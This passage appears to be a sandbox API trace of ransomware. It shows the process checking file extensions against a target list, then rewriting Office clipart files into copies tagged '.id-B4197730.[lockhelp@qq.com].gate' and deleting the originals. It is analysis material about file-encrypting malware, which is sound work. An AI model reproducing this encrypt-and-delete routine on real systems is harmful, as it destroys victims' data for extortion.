(lpString1=".dbf", lpString2=".WMF") returned -1 [0285.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0285.078] lstrlenW (lpString=".1cd") returned 4 [0285.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0285.078] lstrlenW (lpString=".jpg") returned 4 [0285.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0285.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0285.079] lstrlenW (lpString=".doc") returned 4 [0285.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.079] lstrlenW (lpString=".docx") returned 5 [0285.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.079] lstrlenW (lpString=".pdf") returned 4 [0285.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.079] lstrlenW (lpString=".xls") returned 4 [0285.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.079] lstrlenW (lpString=".xlsx") returned 5 [0285.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.079] lstrlenW (lpString=".ppt") returned 4 [0285.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0285.079] lstrlenW (lpString=".zip") returned 4 [0285.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.079] lstrlenW (lpString=".rar") returned 4 [0285.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.079] lstrlenW (lpString=".bz2") returned 4 [0285.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.079] lstrlenW (lpString=".7z") returned 3 [0285.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0285.079] lstrlenW (lpString=".dbf") returned 4 [0285.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0285.079] lstrlenW (lpString=".1cd") returned 4 [0285.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0285.079] lstrlenW (lpString=".jpg") returned 4 [0285.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.080] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.080] lstrlenW (lpString="BD19988_.WMF") returned 12 [0285.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.080] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=18304) returned 1 [0285.080] CloseHandle (hObject=0x418) returned 1 [0285.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0285.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.081] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.081] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0285.081] GetLastError () returned 0x0 [0285.081] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x4780, lpOverlapped=0x0) returned 1 [0285.129] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x4790, lpOverlapped=0x0) returned 1 [0285.130] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.130] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.130] SetEndOfFile (hFile=0x4a4) returned 1 [0285.131] CloseHandle (hObject=0x4a4) returned 1 [0285.132] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.132] SetEndOfFile (hFile=0x418) returned 1 [0285.134] CloseHandle (hObject=0x418) returned 1 [0285.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0285.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0285.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0285.135] lstrlenW (lpString=".doc") returned 4 [0285.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.136] lstrlenW (lpString=".docx") returned 5 [0285.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.136] lstrlenW (lpString=".pdf") returned 4 [0285.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.136] lstrlenW (lpString=".xls") returned 4 [0285.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.136] lstrlenW (lpString=".xlsx") returned 5 [0285.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.136] lstrlenW (lpString=".ppt") returned 4 [0285.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0285.136] lstrlenW (lpString=".zip") returned 4 [0285.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.136] lstrlenW (lpString=".rar") returned 4 [0285.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.136] lstrlenW (lpString=".bz2") returned 4 [0285.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.136] lstrlenW (lpString=".7z") returned 3 [0285.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0285.136] lstrlenW (lpString=".dbf") returned 4 [0285.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0285.136] lstrlenW (lpString=".1cd") returned 4 [0285.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0285.136] lstrlenW (lpString=".jpg") returned 4 [0285.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0285.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0285.136] lstrlenW (lpString=".doc") returned 4 [0285.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.136] lstrlenW (lpString=".docx") returned 5 [0285.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.137] lstrlenW (lpString=".pdf") returned 4 [0285.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.137] lstrlenW (lpString=".xls") returned 4 [0285.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.137] lstrlenW (lpString=".xlsx") returned 5 [0285.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.137] lstrlenW (lpString=".ppt") returned 4 [0285.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0285.137] lstrlenW (lpString=".zip") returned 4 [0285.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.137] lstrlenW (lpString=".rar") returned 4 [0285.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.137] lstrlenW (lpString=".bz2") returned 4 [0285.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.137] lstrlenW (lpString=".7z") returned 3 [0285.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0285.137] lstrlenW (lpString=".dbf") returned 4 [0285.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0285.137] lstrlenW (lpString=".1cd") returned 4 [0285.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0285.137] lstrlenW (lpString=".jpg") returned 4 [0285.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.137] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.137] lstrlenW (lpString="BL00008_.WMF") returned 12 [0285.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.138] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=12520) returned 1 [0285.138] CloseHandle (hObject=0x418) returned 1 [0285.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0285.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.138] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.139] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0285.139] GetLastError () returned 0x0 [0285.139] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x30e8, lpOverlapped=0x0) returned 1 [0285.308] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x30f0, lpOverlapped=0x0) returned 1 [0285.310] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.310] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.310] SetEndOfFile (hFile=0x4a4) returned 1 [0285.310] CloseHandle (hObject=0x4a4) returned 1 [0285.311] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.311] SetEndOfFile (hFile=0x418) returned 1 [0285.314] CloseHandle (hObject=0x418) returned 1 [0285.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0285.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0285.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0285.316] lstrlenW (lpString=".doc") returned 4 [0285.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.316] lstrlenW (lpString=".docx") returned 5 [0285.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.316] lstrlenW (lpString=".pdf") returned 4 [0285.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.316] lstrlenW (lpString=".xls") returned 4 [0285.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.316] lstrlenW (lpString=".xlsx") returned 5 [0285.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.316] lstrlenW (lpString=".ppt") returned 4 [0285.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0285.316] lstrlenW (lpString=".zip") returned 4 [0285.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.317] lstrlenW (lpString=".rar") returned 4 [0285.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.317] lstrlenW (lpString=".bz2") returned 4 [0285.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.317] lstrlenW (lpString=".7z") returned 3 [0285.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0285.317] lstrlenW (lpString=".dbf") returned 4 [0285.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0285.317] lstrlenW (lpString=".1cd") returned 4 [0285.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0285.317] lstrlenW (lpString=".jpg") returned 4 [0285.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0285.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0285.317] lstrlenW (lpString=".doc") returned 4 [0285.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.317] lstrlenW (lpString=".docx") returned 5 [0285.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.317] lstrlenW (lpString=".pdf") returned 4 [0285.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.317] lstrlenW (lpString=".xls") returned 4 [0285.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.318] lstrlenW (lpString=".xlsx") returned 5 [0285.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.318] lstrlenW (lpString=".ppt") returned 4 [0285.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0285.318] lstrlenW (lpString=".zip") returned 4 [0285.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.318] lstrlenW (lpString=".rar") returned 4 [0285.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.318] lstrlenW (lpString=".bz2") returned 4 [0285.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.318] lstrlenW (lpString=".7z") returned 3 [0285.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0285.318] lstrlenW (lpString=".dbf") returned 4 [0285.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0285.318] lstrlenW (lpString=".1cd") returned 4 [0285.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0285.318] lstrlenW (lpString=".jpg") returned 4 [0285.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.319] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.319] lstrlenW (lpString="BL00012_.WMF") returned 12 [0285.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.319] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=9818) returned 1 [0285.319] CloseHandle (hObject=0x418) returned 1 [0285.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0285.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0285.320] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.320] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0285.321] GetLastError () returned 0x0 [0285.321] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x265a, lpOverlapped=0x0) returned 1 [0285.418] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x2660, lpOverlapped=0x0) returned 1 [0285.419] ReadFile (in: hFile=0x418, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.419] WriteFile (in: hFile=0x4a4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.419] SetEndOfFile (hFile=0x4a4) returned 1 [0285.420] CloseHandle (hObject=0x4a4) returned 1 [0285.420] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.420] SetEndOfFile (hFile=0x418) returned 1 [0285.423] CloseHandle (hObject=0x418) returned 1 [0285.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0285.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0285.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0285.424] lstrlenW (lpString=".doc") returned 4 [0285.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.424] lstrlenW (lpString=".docx") returned 5 [0285.424] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.424] lstrlenW (lpString=".pdf") returned 4 [0285.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.424] lstrlenW (lpString=".xls") returned 4 [0285.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.425] lstrlenW (lpString=".xlsx") returned 5 [0285.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.425] lstrlenW (lpString=".ppt") returned 4 [0285.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0285.425] lstrlenW (lpString=".zip") returned 4 [0285.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.425] lstrlenW (lpString=".rar") returned 4 [0285.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.425] lstrlenW (lpString=".bz2") returned 4 [0285.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.425] lstrlenW (lpString=".7z") returned 3 [0285.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0285.425] lstrlenW (lpString=".dbf") returned 4 [0285.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0285.425] lstrlenW (lpString=".1cd") returned 4 [0285.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0285.425] lstrlenW (lpString=".jpg") returned 4 [0285.425] lstrcmpiW 